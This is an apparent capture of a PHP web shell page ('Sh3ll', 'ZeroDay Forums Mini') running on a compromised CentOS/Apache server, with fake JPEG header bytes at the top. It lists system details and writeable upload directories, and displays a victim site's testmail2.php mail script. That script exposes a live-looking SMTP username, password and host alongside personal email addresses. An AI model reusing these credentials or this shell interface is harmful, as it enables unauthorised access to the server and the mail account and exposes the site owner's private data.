JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/testmail2.php
<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
//Load Composer's autoloader
require 'vendor/autoload.php';
//Create an instance; passing `true` enables exceptions
$mail = new PHPMailer(true);
//Server settings
$mail->SMTPDebug = 0;                      //Enable verbose debug output
$mail->isSMTP();                                            //Send using SMTP
$mail->Host       = 'mail9209.maychuemail.com';                     //Set the SMTP server to send through
$mail->SMTPAuth   = true;                                   //Enable SMTP authentication
$mail->Username   = 'info@kvvanhvu.com';                     //SMTP username
$mail->Password   = 'Timon!23';                               //SMTP password
$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;            //Enable implicit TLS encryption
$mail->Port       = 587;
$mail->SMTPSecure = 'tls';
$mail->CharSet = 'UTF-8';
//TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`

//Recipients
$mail->setFrom('info@kvvanhvu.com', 'kvvanhvu.com');
//$mail->addAddress('joe@example.net', 'Joe User');
$mail->addAddress('xxxgiacxxx@gmail.com');               //Name is optional
$mail->addAddress('vtthanhvu@gmail.com');
//$mail->addReplyTo($email,  $name);
//$mail->addCC('cc@example.com');
// $mail->addBCC('bcc@example.com');

//Attachments
//$mail->addAttachment('/var/tmp/file.tar.gz');         //Add attachments
//$mail->addAttachment('/tmp/image.jpg', 'new.jpg');    //Optional name

//Content
$mail->isHTML(true);                                  //Set email format to HTML
$mail->Subject = 'Test tiêu đề gửi email từ website';
$mail->Body    =  'Test nội dung gửi email từ website';
$mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

if($mail->send()){
    echo 'Đã gửi';
}else{
    echo 'Không gửi được';
}
exit();
?>

ZeroDay Forums Mini